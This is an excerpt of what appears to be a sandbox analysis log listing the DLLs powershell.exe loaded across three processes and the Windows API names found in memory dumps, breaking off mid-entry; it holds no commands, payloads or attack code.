%WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter user32 (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00000412) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core (UID: 00000000-00008040) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-processthreads-l1-1-0.dll (UID: 00000000-00008040)2a:T2853,Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp, 00000000-00000412.00000000.122181.29350000.00000004.mdmp, 00000000-00000412.00000000.122181.419A9000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found 